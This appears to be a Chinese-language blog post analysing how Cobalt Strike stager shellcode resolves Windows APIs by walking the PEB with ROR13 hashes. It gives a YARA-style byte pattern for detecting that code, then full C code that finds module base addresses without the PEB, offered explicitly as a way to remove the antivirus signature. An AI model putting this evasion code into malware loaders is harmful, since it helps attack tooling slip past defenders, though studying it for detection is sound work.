故事源自于:
我们知道多数的C2框架都有 Staged 或 Stageless payload之分;Staged是一段小型程序,只有一个用途,即从服务器下拉payload。Stageless是完整的payload,具有内置安全性,无需拉下任何其他内容
在Cobalt Strike中,stager主要负责远程加载Beacon.dll。具体实现形式通过逆向可以得到:
xor rdx,rdx
mov rdx,qword ptr gs:[rdx+60] | 查找PEB
| mov rdx,qword ptr ds:[rdx+18] | 查找LDR链表
| mov rdx,qword ptr ds:[rdx+20] | 访问InMemoryOrderModuleList链表
| mov rsi,qword ptr ds:[rdx+50] | 将模块名称存入rsi寄存器
| movzx rcx,word ptr ds:[rdx+4A] | 将模块名称长度存入rcx寄存器(unicode)
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入模块名称
| cmp al,61 | 判断大小写
| jl A0037 | 大写则跳转
| sub al,20 | 如果是小写就转换为大写
| ror r9d,D | ROR13加密计算
| add r9d,eax | 将计算得到的hash值存入R9寄存器
| loop A002D | 循环计算
| push rdx |
| push r9 |
| mov rdx,qword ptr ds:[rdx+20] | 找到模块基地址
| mov eax,dword ptr ds:[rdx+3C] | 找到0x3C偏移(PE标识)
| add rax,rdx | rax指向PE标识
| cmp word ptr ds:[rax+18],20B | 判断OptionHeader结构的Magic为是否为20B(PE32+)
| jne A00C7 |
| mov eax,dword ptr ds:[rax+88] | 将导出表RVA赋值给eax寄存器
| test rax,rax |
| je A00C7 |
| add rax,rdx | 模块基址+导出表RVA=导出表VA
| push rax |
| mov ecx,dword ptr ds:[rax+18] | 将导出函数的数量赋值给ecx寄存器
| mov r8d,dword ptr ds:[rax+20] | 将导出函数的起始RVA赋值给R8寄存器
| add r8,rdx | 导出函数的起始VA
| jrcxz A00C6 |
| dec rcx |
| mov esi,dword ptr ds:[r8+rcx*4] | 从后向前获取导出函数的RVA
| add rsi,rdx | 当前导出函数的VA
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入导出函数名
| ror r9d,D | ROR13加密运算
| add r9d,eax | 计算的hash存入R9
| cmp al,ah | 字符串最后一位为0,此时al、ah均为0,循环结束
| jne A007D | 不为0,继续运算
| add r9,qword ptr ss:[rsp+8] | 将模块hash与函数hash求和
| cmp r9d,r10d | 运算结果与要查找的函数hash(R10)进行比较
| jne A006E | 没找到则跳回去继续找
| pop rax |
会不断循环以上的汇编代码通过字符串hash依次查找以下Api函数:
0x0726774C => LoadLibraryA
0xA779563A => InternetOpenA
0xC69F8957 => InternetConnectA
0x3B2E55EB => HttpOpenRequestA
0x7B18062D => HttpSendRequestA
0xE553A458 => VirtualAlloc
0xE2899612 => InternetReadFile
然后调用wininet.dll的一系列API去服务器下拉文件
虽然实战中很少会用到stager,但是你知道的,总有......
stager不经过任何处理会被轻易的扫出来,特别是所有C2 stager基本上都会被标记一个静态签名: Windows_Trojan_Metasploit_7bc0f998
What is this?
反汇编这个yara里的特征码:
这段汇编代码其实就是最常见的遍历PEB进行模块解析以获取Win32API。
为什么要遍历PEB?这里还是给基础薄弱的师傅解释一下:
在典型的可执行文件中,外部符号引用通过以下两种方式之一引入进来:要么由加载程序在启动时通过遍历可执行文件的导入目录来解析,要么在运行时使用 GetProcAddress 动态解析它们
而Shellcode 既不能由操作系统直接加载,也不能直接调用 GetProcAddress,因为它根本不知道 kernel32!GetProcAddress 的地址是什么。
为了解析库函数的地址,shellcode 必须自行解析函数名称。这通常在 shellcode 中使用一个函数来实现,该函数接受模块和函数哈希,获取 PEB(进程环境块)地址,遍历已加载模块的链接列表,扫描每个模块的导出目录,对每个函数名称进行哈希处理,将其与提供的哈希进行比较,如果匹配,则通过将其 RVA 添加到已加载模块的基址来计算函数地址。
在 x64 Windows 上,PEB 是一种可使用gs
段寄存器访问的数据结构。该结构包含已加载模块及其相关信息的链接列表。
从中
gs:0x60
检索进程环境块 (PEB) 。从 PEB 的
LoaderData
中获取InMemoryOrderModuleList
从
InMemoryOrderModuleList
中的第一个条目开始初始化一个循环,遍历列表在每次迭代中,根据列表条目地址计算当前模块的
LDR_MODULE
结构的地址。检查
LDR_MODULE
的BaseDllName.Buffer
是否为NULL:
比较
BaseDllName
,如果匹配,则返回BaseAddress
监控:
对访问 PEB 或 TEB 的代码的一种非常简单的检测是将可疑代码与 gs
段寄存器的移动操作的模式匹配(mov register, gs:[0x60])。示例:
65 48 8b * 25 60 00 00 00 00 ; PEB
65 48 8b * 25 30 00 00 00 00 ; TEB
如何消除签名特征?
在内存中向后搜索模块的基址,而不依赖于 API 调用或进程环境块 (PEB)
#include <Windows.h>
// Convenience types
#define QWORD DWORD64
#define QWORD_PTR DWORD64 *
#define MAX_VISITED 124
extern "C" QWORD_PTR GetInstructionPointer();
PVOID FindByteSig(PVOID SearchBase, PVOID Sig, INT EggSize, INT Bound, BOOL Rev)
{
if (!Rev)
{
for (INT i = 0; i < Bound; i++)
{
if (!memcmp(&((PBYTE)SearchBase)[i], Sig, EggSize))
{
return &((PBYTE)SearchBase)[i];
}
}
}
else {
for (INT i = 0; i < Bound; i++)
{
if (!memcmp(&((PBYTE)SearchBase)[-i], Sig, EggSize))
{
return &((PBYTE)SearchBase)[-i];
}
}
}
return NULL;
}
// Compare a module's reported name (Optional directory) to a string
BOOL CheckModNameByExportDir(PBYTE BaseAddr, PCHAR ModName)
{
DWORD ExportDirRVA = NULL;
DWORD NameRVA = NULL;
PCHAR Name = NULL;
SIZE_T NameLength = NULL;
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDir = NULL;
pDosHeader = (PIMAGE_DOS_HEADER)BaseAddr;
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
pNtHeaders = (PIMAGE_NT_HEADERS)(BaseAddr + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) return FALSE;
ExportDirRVA = pNtHeaders->OptionalHeader.
DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
if (ExportDirRVA == 0) return FALSE;
pExportDir = (PIMAGE_EXPORT_DIRECTORY)(BaseAddr + ExportDirRVA);
NameRVA = pExportDir->Name;
if (NameRVA == 0) {
return FALSE; // No name
}
Name = (PCHAR)(BaseAddr + NameRVA);
NameLength = strlen(Name);
if (strcmp(ModName, Name) == 0)
{
return TRUE;
}
return FALSE;
}
// Given a base address, find the first import from a given DLL
QWORD_PTR FindFirstModuleImport(PBYTE MzLoc, PCHAR ModName)
{
CHAR CurrentName[MAX_PATH];
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_OPTIONAL_HEADER pOptHeader = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = NULL;
PCHAR pImportName = NULL;
PIMAGE_THUNK_DATA pThunk = NULL;
PIMAGE_THUNK_DATA pIATThunk = NULL;
// Initialize locals
pDosHeader = (PIMAGE_DOS_HEADER)MzLoc;
// Validate DOS header
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
// Initialize NT Headers
pNtHeaders = (PIMAGE_NT_HEADERS)(MzLoc + pDosHeader->e_lfanew);
// Validate PE header
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// Initialize Optional Header
pOptHeader = &pNtHeaders->OptionalHeader;
// Initialize Import Descriptor
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(
MzLoc
+ pOptHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
.VirtualAddress);
while (pImportDesc && pImportDesc->Name)
{
pImportName = (PCHAR)(MzLoc + pImportDesc->Name);
if (pImportName)
{
strcpy_s(CurrentName, sizeof(CurrentName), pImportName);
for (int i = 0; CurrentName[i]; i++) {
CurrentName[i] = (CHAR)tolower((unsigned char)CurrentName[i]);
}
if (strcmp(CurrentName, ModName) == 0)
{
// Get the OriginalFirstThunk
pThunk = (PIMAGE_THUNK_DATA)(
MzLoc + pImportDesc->OriginalFirstThunk);
// Get the corresponding entry in the IAT
pIATThunk = (PIMAGE_THUNK_DATA)(
MzLoc + pImportDesc->FirstThunk);
if (pThunk && pIATThunk) // Check if thunks are valid
{
// Return the full VA of the first function
return (QWORD_PTR)(pIATThunk->u1.Function);
}
}
}
pImportDesc++;
}
return NULL;
}
// Function to check if a module has already been visited
bool IsModuleVisited(PVOID* Visited, int nVisited, PVOID ModBase) {
for (int i = 0; i < nVisited; i++) {
if (Visited[i] == ModBase) {
return true;
}
}
return false;
}
PVOID PeblessFindModuleRecursively(
PBYTE StartAddr,
PCHAR ModName,
PVOID* Visited,
PINT nVisited)
{
DWORD ImportDirRVA = NULL;
PCHAR pModuleName = NULL;
PVOID FirstImport = NULL;
PVOID FoundBase = NULL;
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_OPTIONAL_HEADER pOptionalHeader = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImportDesc = NULL;
CHAR CurrentName[MAX_PATH] = { NULL };
BYTE MzSig[5] = { 0x4D, 0x5A, 0x90, 0x00, 0x03 };
if (IsModuleVisited(Visited, *nVisited, StartAddr)) {
return NULL; // Avoid infinite recursion
}
Visited[*nVisited] = StartAddr;
(*nVisited)++;
if (CheckModNameByExportDir(StartAddr, ModName)) {
return StartAddr;
}
pDosHeader = (PIMAGE_DOS_HEADER)StartAddr;
pNtHeaders = (PIMAGE_NT_HEADERS)(StartAddr + pDosHeader->e_lfanew);
pOptionalHeader = &pNtHeaders->OptionalHeader;
ImportDirRVA = pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(StartAddr + ImportDirRVA);
while (pImportDesc->Name) {
pModuleName = (char*)(StartAddr + pImportDesc->Name);
strcpy_s(CurrentName, sizeof(CurrentName), pModuleName);
for (INT i = 0; CurrentName[i]; i++) {
CurrentName[i] = (CHAR)tolower((unsigned char)CurrentName[i]);
}
FirstImport = FindFirstModuleImport(StartAddr, CurrentName);
if (!FirstImport) {
pImportDesc++;
continue;
}
FoundBase = FindByteSig(
FirstImport, MzSig, sizeof(MzSig), 0xFFFFF, TRUE);
if (FoundBase) {
FoundBase = PeblessFindModuleRecursively(
(PBYTE)FoundBase, ModName, Visited, nVisited);
if (FoundBase) {
return FoundBase;
}
}
pImportDesc++;
}
return NULL;
}
// Get a module base address without using the PEB
// NOTE: Does not locate libraries loaded with LoadLibrary
PVOID PeblessGetModuleHandle(PCHAR szModuleName) {
PVOID Visited[MAX_VISITED] = { NULL };
PBYTE StartAddr = NULL;
INT nVisited = 0;
BYTE MzSig[5] = { 0x4D, 0x5A, 0x90, 0x00, 0x03 };
QWORD_PTR RIP = (QWORD_PTR)GetInstructionPointer();
StartAddr = (PBYTE)FindByteSig(
(PVOID)RIP, MzSig, sizeof(MzSig), 0xFFFFF, TRUE);
if (szModuleName == NULL) return StartAddr;
return PeblessFindModuleRecursively(
StartAddr, szModuleName, Visited, &nVisited);
}
// Program entry point
INT main()
{
PVOID BaseNtdll = PeblessGetModuleHandle((PCHAR)"ntdll.dll");
if (!BaseNtdll) return ERROR_NOT_FOUND;
PVOID BaseCurrent = PeblessGetModuleHandle(NULL);
if (!BaseCurrent) return ERROR_NOT_FOUND;
return 0;
}
http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html